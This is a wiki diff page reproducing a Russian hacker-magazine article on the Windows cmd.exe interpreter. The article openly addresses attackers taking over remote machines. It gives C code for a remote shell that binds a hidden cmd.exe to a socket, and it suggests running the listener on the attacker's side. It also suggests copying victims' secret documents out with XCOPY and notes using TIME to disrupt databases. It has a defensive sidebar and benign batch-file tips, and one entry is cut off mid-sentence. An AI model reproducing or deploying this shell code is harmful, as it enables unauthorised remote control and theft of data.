Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:cmd [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== cmd ======
 +<​sub>​{{cmd.odt|Original file}}</​sub>​
 +
 +====== секреты командного интерпретатора ======
 +
 +крис касперски ака мыщъх, no-email
 +
 +//FADE IN ON: COMPUTER SCREEN.//
 +
 +//So close it has no boundaries. A blinking cursor pulses in the electric darkness like a heart coursing with phosphorous light, burning beneath the derma of black-neon glass…//
 +
 +//**The Matrix. Larry and Andy Wachowski**//​
 +
 +**системы удаленного администрирования пользуются огромной популярностью и свежие версии идут нарасхват,​ поскольку прежние уже давно ловятся антивирусами. а антивирусы – это саксь и мас дай. к тому же настоящий хакер не может позволить себе зависеть от сторонних разработчиков,​ и весь необходимый инструментарий он должен уметь создавать самостоятельно. тем более, что ничего сложного в этом нет…**
 +
 +===== введение =====
 +
 +С полсотни лет назад, когда о графических средах никто и не слышал,​ а монитор,​ способный отображать более четырех цветов,​ все еще оставался предметом роскоши,​ роль посредника между человеком и машиной ложилась на плечи командного интерпретатора. Что такое командный интерпретатор?​ Это черный экран и мерцающий курсор. За кажущейся унылостью и аскетичностью терминальных апартаментов (до царственной роскоши графических интерфейсов им действительно далеко) скрывается чрезвычайно мощный и к тому же нетребовательный к ресурсам инструмент.
 +
 +Командный интерпретатор опирается на //​**язык**//​ (который как известно,​ определяет мышление),​ а графические оболочки – на тыкательный инстинкт,​ действующий всегда по одной и той же схеме. Командный интерпретатор может читать ввод как с клавиатуры,​ так и из файла. Графическая оболочка поддерживает клавиатуру лишь частично,​ полагаясь преимущественно на мышь. Командный интерпретатор поддается оптимизации,​ графические оболочки – нет. Сравнение можно продолжать бесконечно,​ но сам факт, что даже в эпоху засилья аляповатых икончатых интерфейсов,​ терминальные приложения продолжают существовать,​ уже о многом говорит.
 +
 +Сильная стороной UNIX-систем была и остается хорошо продуманная командная строка. С ее помощью можно сделать абсолютно все, что только возможно,​ и даже больше. Причем,​ между локальной и удаленной консолью нет никакой принципиальной разницы. Командный интерпретатор с одинаковым аппетитом поглощает символы,​ набранные на клавиатуре,​ и поступающие в компьютер по сети (правда,​ регистрация root'​а с удаленной консоли чаще всего запрещена).
 +
 +Windows NT в этом смысле намного более ущербленная система. Штатный командный интерпретатор можно назвать "​командным"​ с очень большой натяжкой. Лишь некоторые из настроек системы допускают возможность удаленного управления,​ а остальные приходится настраивать локально. Мышью. И хотя ядро системы не имеет к этому никакого отношения (при желании вы можете самостоятельно реализовать консольные версии всех конфигурационных утилит),​ отсутствие их в штатном комплекте поставки сильно огорчает. К счастью,​ начиная с Windows 2000 командный интерпретатор был существенно переработан,​ и появилось множество новых консольных утилит,​ более или менее полно покрывающих потребности удаленного управления.
 +
 +{{cmd_Image_0.png?​553}}
 +
 +Рисунок 1 внешний вид командного интерпретатора Windows 2000
 +
 +===== командный интерпретатор на службе у хакера =====
 +
 +Что можно сделать с удаленной системой вероятного противника?​ Естественно,​ захватить! Обычно для этой цели засылается система удаленного администрирования,​ представляющая собой более или менее продвинутый командный интерпретатор. Но ведь на удаленной машине уже есть командный интерпретатор. Для Window 2000/​XP – это cmd.exe и все, что нам нужно сделать – это запустить его на выполнение и организовать одно- (а лучше двух-) сторонний канал связи.
 +
 +Грубо говоря,​ командный интерпретатор упаковывается в своеобразный "​конверт",​ так же называемый "​диспетчером"​. В задачу диспетчера входит получение входящих команд (отправленных хакером),​ передача их командному интерпретатору на выполнение,​ перехват результата и возращение его хакеру.
 +
 +Простейшие диспетчеры работают только на примем,​ вынуждая хакера ломать систему вслепую. Впрочем,​ он всегда может перенаправить стандартный вывод в какой-нибудь публичный файл, так что эта "​слепота"​ довольно условна. Главное достоинство такого приема в его простоте. Исходный текст диспетчера свободно укладывается в десяток строк кода, компилируемых в считанное количество машинных команд. А компактность shell-кода для большинства переполняющихся буферов весьма актуальна.
 +
 +Конкретный пример реализации может выглядеть например так:
 +
 +// мотаем цикл, принимая с сокета команды
 +
 +// пока есть что принимать
 +
 +while(1)
 +
 +{
 +
 +// принимаем очередную порцию данных
 +
 +a = recv(csocket,​ &​buf[p],​ MAX_BUF_SIZE - p - 1, 0);
 +
 +
 +
 +// если соединение неожиданно закрылось выходим из цикла
 +
 +if (a < 1) break;
 +
 +
 +
 +// увеличиваем счетчик кол-ва принятых символов
 +
 +// и внедряем на конец строки ​ завершающий ноль
 +
 +p += a; buf[p] = 0;
 +
 +
 +
 +// строка содержит символ переноса строки?​
 +
 +if ((ch = strpbrk(buf,​ xEOL)) != 0)
 +
 +{// да, содержит
 +
 +// отсекаем символ переноса и очищаем счетчик
 +
 +*ch = 0; p = 0;
 +
 +
 +
 +// если строка не пуста, передаем ее командному
 +
 +// интерпретатору на выполнение
 +
 +if (strlen(buf))
 +
 +{
 +
 +sprintf(cmd,​ "​%s%s",​ SHELL, buf); exec(cmd);
 +
 +} else break; // если это пустая строка - выходим
 +
 +}
 +
 +}
 +
 +Листинг 1 ключевой фрагмент простейшего удаленного shell'​а
 +
 +Диспетчер может работать через любой выбранный порт (например,​ 6669), причем,​ серверную сторону лучше размещать на компьютере хакера. Диспетчер,​ открывающий новый порт на компьютере жертвы,​ во-первых,​ слишком заметен,​ а, во-вторых,​ большинство администраторов блокируют входящие соединения на все непубличные узлы. Атаковать же публичный узел никакого смысла нет – в девяти из десяти случаях он расположен DMZ-зоне (зоне соприкосновения с Интернетом),​ надежно изолированной от корпоративной локальной сети.
 +
 +Попав на атакуемый компьютер,​ мы можем, например,​ посредством команды XCOPY скопировать секретные документы в общедоступную папку, скачивая их оттуда обычным путем (список имеющихся папок поможет выяснить команда dir). И все бы ничего,​ да, "​слепой"​ набор команд уж слишком утомляет. Хотелось бы доработать диспетчер так, чтобы видеть результат их выполнения на своем экране.
 +
 +По сети ходит совершенно чудовищный код, пытающийся засунуть стандартный ввод/​вывод интерпретатора в дескрипторы сокетов и надеющийся,​ что этот прием однажды может сработать. Но первая же проверка убеждает нас в обратном. Сокеты – это не дескрпиторы и смешивать их в одну кучу нельзя. Чтобы диспетчер реально заработал,​ необходимо связать дескрипторы с пайпами (от английского pipe – трубы),​ а сами пайпы – с дескрипторами. Причем,​ напрямую пайпы с дескрипторами несоединимы,​ поскольку исповедуют различные концепции ввода/​вывода – пайпы используют функции ReadFile/​WriteFile,​ а сокеты – recv/send, что существенно усложняет реализацию диспетчера:​
 +
 +sa.lpSecurityDescriptor= NULL;
 +
 +sa.nLength= sizeof(SECURITY_ATTRIBUTES);​
 +
 +sa.bInheritHandle= TRUE;  //allow inheritable handles
 +
 +if (!CreatePipe(&​cstdin, ​ &​wstdin, ​ &sa, 0))return -1; //create stdin pipe
 +
 +if (!CreatePipe(&​rstdout,​ &​cstdout,​ &sa, 0))return -1; //create stdout pipe
 +
 +GetStartupInfo(&​si);​ //set startupinfo for the spawned process
 +
 +si.dwFlags= STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;​
 +
 +si.wShowWindow= SW_HIDE;
 +
 +si.hStdOutput= cstdout;
 +
 +si.hStdError= cstdout; ​ //set the new handles for the child process
 +
 +si.hStdInput= cstdin;
 +
 +//spawn the child process
 +
 +if (!CreateProcess(0,​ SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE,​ 0,​0,&​si,&​pi)) return -1;
 +
 +while(GetExitCodeProcess(pi.hProcess,&​fexit) && (fexit == STILL_ACTIVE))
 +
 +{
 +
 +//check to see if there is any data to read from stdout
 +
 +if (PeekNamedPipe(rstdout,​ buf, 1, &N, &total, 0) && N)
 +
 +{
 +
 +for (a = 0; a < total; a += MAX_BUF_SIZE)
 +
 +{
 +
 +ReadFile(rstdout,​ buf, MAX_BUF_SIZE,​ &N, 0);
 +
 +send(csocket,​ buf, N, 0);
 +
 +}
 +
 +}
 +
 +
 +
 +if (!ioctlsocket(csocket,​ FIONREAD , &N) && N)
 +
 +{
 +
 +recv(csocket,​ buf, 1, 0);
 +
 +if (*buf == '​\x0A'​) WriteFile(wstdin,​ "​\x0D",​ 1, &N, 0);
 +
 +WriteFile(wstdin,​ buf, 1, &N, 0);
 +
 +}
 +
 +Sleep(1);
 +
 +}
 +
 +Листинг 2 ключевой фрагмент полноценного удаленного shell'​а вместе с диспетчером ввода/​вывода
 +
 +Теперь,​ мы можем выполнять на атакуемом узле различные консольные программы так, как будто бы они были запущены на нашей машине. Только не пытайтесь запускать FAR или подобные ему приложения,​ использующие функцию WriteConsole для вывода информации на экран. Наш диспетчер перехватить ее не в силах!
 +
 +===== >>>>​ врезка защита от вторжения =====
 +
 +Командный интерпретатор – слишком опасная штука, чтобы держать его на своем компьютере. Но и удалить его мы не можем,​ – тогда перестанут работать некоторые инсталляторы и программы-оболочки (например,​ тот же FAR). К тому же оставлять себя без командой строки – тоже не выход. Может, попробовать переименовать его? Тогда атакующие программы останутся ни у дел! Однако,​ с легальными программами произойдет тоже самое, поскольку они определяют имя командного интерпретатора по переменной COMSPEC, а она по умолчанию указывает на C:​\WINNT\System32\cmd.exe.
 +
 +Давайте переименуем cmd.exe в w2k_commander.exe,​ соответствующим образом скорректировав переменную COMSPEC. Кликнув по иконке "​Мой Компьютер"​ правой клавишей мыши, выберем в контекстном меню пункт "​Свойства",​ в появившемся диалоговом окне найдем закладку "​Дополнительно",​ а в ней – кнопку "​Переменные среды"​. COMSPEC будет расположена среди системных переменных и для ее изменения необходимы права администратора. Теперь напишем коротенькую программу,​ выводящую на экран предупреждение о хакерском вторжении и переименуем ее в cmd.exe.
 +
 +При всей своей простоте предложенный прием необычно эффективен. Хакеры и сетевые черви практические никогда не анализируют переменную окружения COMSPEC, поскольку требует определенного пространства для маневра,​ а в переполняющихся буферах оно не всегда есть. Вместо этого, командный интерпретатор вызывается по его исходному имени cmd.exe, позволяя тем самым обнаружить атаку на самых ранних стадиях проникновения.
 +
 +{{cmd_Image_1.png?​384}}
 +
 +Рисунок 2 редактирование переменной окружения COMSPEC, содержащей путь к командному интерпретатору
 +
 +===== >>>>​ врезка команды хакерского багажа =====
 +
 +Ниже перечислены наиболее популярные в хакерской среде команды и консольные утилиты,​ вызываемые из командного интерпретатора,​ снабженные моими комментариями. За более подробной информацией обращайтесь к справочной системе Windows или запустите файл cmd.exe с ключом /? – он много интересного расскажет.
 +
 +**ASSOC**
 +
 +При запуске без параметров выводит список зарегистрированных типов файлов и ассоциированных с ними типов приложений,​ позволяя тем самым выяснить какие вообще приложения на этом компьютере есть. Теоретически можно использовать эту команду для подмены или удаления ассоциаций,​ однако,​ через непосредственное обращение к реестру это сделать намного удобнее.
 +
 +**AT**
 +
 +Позволяет запускать приложения по расписанию (в том числе и на соседних машинах локальной сети). Нуждается в правах администратора и службе планировщика. Ни того, ни другого в распоряжении атакующего обычно не оказывается,​ а потому данная команда не относится к числу наиболее популярных.
 +
 +**CACLS**
 +
 +Управляет правами доступа к файлам и каталогам,​ перечисляя имена всех пользователей имеющих доступ к данному файлу (папке) и при желании позволяющая их изменить. Естественно,​ менее привилегированные пользователи не могут воздействовать на более привилегированных,​ что существенно ограничивает возможности данной команды,​ но отнюдь не делает ее бесполезной!
 +
 +**CALL**
 +
 +Вызывает один пакетный файл из другого,​ при необходимости передавая ему один или несколько аргументов (например,​ callcmd_file.bat "​hello,​ world!"​). В качестве разделителя аргументов используется символ "​пробел"​. Если необходимо передать аргумент с символом пробела,​ его следует заключить в кавычки.
 +
 +Частая ошибка начинающих – вызов пакетного файла без команды CALL (например,​ cmd_file.bat "​hello,​ world!"​). Дочерний файл действительно вызывается,​ но управление в материнский уже не возвращается,​ поскольку в отсутствии CALL'​а вызываемый файл затирает текущую копию командного интерпретатора в памяти.
 +
 +Другая проблема – типичный проект состоит из нескольких пакетных файлов,​ но только один из них пусковой,​ а остальные вспомогательные. Как защитить пользователя от случайного запуска "не того"​ файла? Одно из возможных решений выглядит так: при запуске служебных файлов,​ главный файл должен среди прочих аргументов передать им "​магический пирожок",​ подтверждающий правомерность запуска. При запуске служебного файла пользователем,​ такого "​пирожка"​ естественно не оказывается и файл либо выдает поясняющие сообщение,​ либо самостоятельно запускает основной файл. Тогда пользователь может запускать любой файл и это все равно будет работать ;)
 +
 +Простейший пример реализации может выглядеть так:
 +
 +#ФАЙЛ MAIN.BAT
 +
 +@ECHO OFF
 +
 +FOR %%A IN (*.%1) DO CALL print_file_name __666__ "​%%A"​
 +
 +REM ^
 +
 +REM |
 +
 +REM передаем магический пирожок
 +
 +Листинг 3 главный командный файл
 +
 +#ФАЙЛ PRINT_FILE_NAME.BAT
 +
 +@ECHOOFF
 +
 +REM проверяем наличие магического пирожка и если его нет
 +
 +REM вызываем основной файл программы,​ не забыв при этом
 +
 +REM передать ему аргументы командной строки и - самое
 +
 +REM главное - не вызывайте его командой CALL, ведь нам
 +
 +REM не нужно получать управление назад!!!
 +
 +IF NOT #​%1#​==#​__666__#​ main.bat %1 %2 %3 %4 %5 %6
 +
 +
 +
 +REM если мы здесь, это значит,​ что нас вызвали умышлено,​
 +
 +REM а не случайно. А раз так - выкусываем магический
 +
 +REM пирожок и начинаем делать то, что мы должны делать ;)
 +
 +SHIFT
 +
 +REM * * * тело программы * * * 
 +
 +ECHO %1
 +
 +Листинг 4 вспомогательный командный файл
 +
 +К сожалению,​ командные файлы не поддерживают возможности вызова процедур (или, в терминологии Си, - функций),​ что затрудняет ​ решение ​ многих ​ задач и вообще уродует программный листинг. Обычно в таких случаях прибегают к вызову внешних командных файлов,​ что так же не есть хорошо,​ т.к. вспомогательные командные файлы смотрятся не очень-то красиво...
 +
 +Тем не менее, эта задача вполне решаема! Пусть командный файл вызывает сам себя, передавая в качестве аргумента имя метки на которую надо осуществить передачу управления. Естественно,​ еще потребуется включить в строку аргументов специальное ключевое слово, обозначающее вызов функции,​ а в начало пакетного файла - особый обработчик который бы при наличии этого бы самого ключевого слова перехватывал бы поток управления на себя и, сдвинув список аргументов на две позиции влево, передавал бы управление на указанную метку.
 +
 +Единственная проблема – возврат значений. Вероятно,​ единственное,​ что здесь можно предложить – использовать переменные окружения,​ а, причем имеем смысл передавать имя переменной как аргумент,​ – чтобы вызываемой и вызывающей функциям было легче "​договориться",​ – в противном случае их будет трудно разрабатывать независимо друг от друга.
 +
 +Пример реализации:​
 +
 +@ECHOOFF
 +
 +REM * * * МЕНЕДЖЕР ВЫЗОВА ПРОЦЕДУР * * *
 +
 +REM ====================================
 +
 +REM ARG:
 +
 +REMCALL %0 _call имя_метки_функции аргументы_функции....
 +
 +REM
 +
 +:​call_manager
 +
 +IF NOT #​%1#​==#​_call#​ GOTO call_manager_end
 +
 +SHIFT
 +
 +SHIFT
 +
 +GOTO %0
 +
 +:​call_manager_end
 +
 +REM * * * ОСНОВНОЕ ТЕЛО КОМАНДНОГО ФАЙЛА * * * 
 +
 +REM ==========================================
 +
 +:main
 +
 +rem пример вызова функции print_file_name
 +
 +FOR %%A IN (*.*) DO CALL %0 _call print_file_name "​%%A"​
 +
 +rem ^  ^  ^  ^
 +
 +rem |  |  |  |
 +
 +Листинг 5 эмуляция функций средствами командного языка пакетных файло
 +
 +**FIND****/​****FINDSTR**
 +
 +Поиск двоичных данных (текстовых строк) в группе файлов. Своеобразных аналог <​ALT-F7>​ в FAR'​е. Основное оружие хакера для поиска интересных документов на сервере.
 +
 +**PRINT**
 +
 +Удобная штука для опустошения принтерного лотка (а у лазерных принтеров лоток очень быстро опустошается). Можно вывести какой ​
 +
 +**TIME**
 +
 +Задает текущее системное время, не требуя прав администратора,​ что делает ее самой деструктивной командной из всех. Только представьте что произойдет с документооборотом и базой данных,​ если время окажется скачкообразно переведено на несколько лет вперед!
 +
 +**XCOPY**
 +
 +Основное средство копирования файлов и подкаталогов с одной директории в другую.
 +
 +===== заключение =====
 +
 +Человеку,​ привыкшему к "​прелестям"​ графических интерфейсов,​ командный интерпретатор на первых порах кажется жутко непроизводительный и неудобным. Однако со временем ощущение дискомфорта проходит и курсор начинает биться с вашим сердцем в такт. Операции,​ ранее отнимающие чудовищное количество времени,​ теперь выполняются одним легким пассом над клавиатурой. Известно много случаев когда люди переходили с графических сред в консольные оболочки,​ но я не знаю ни одно поклонника командой строки,​ который променял бы ее на "​интиутивно-понятный"​ интерфейс Widows 2000/​XP. Задумайтесь,​ почему это так!
 +
 +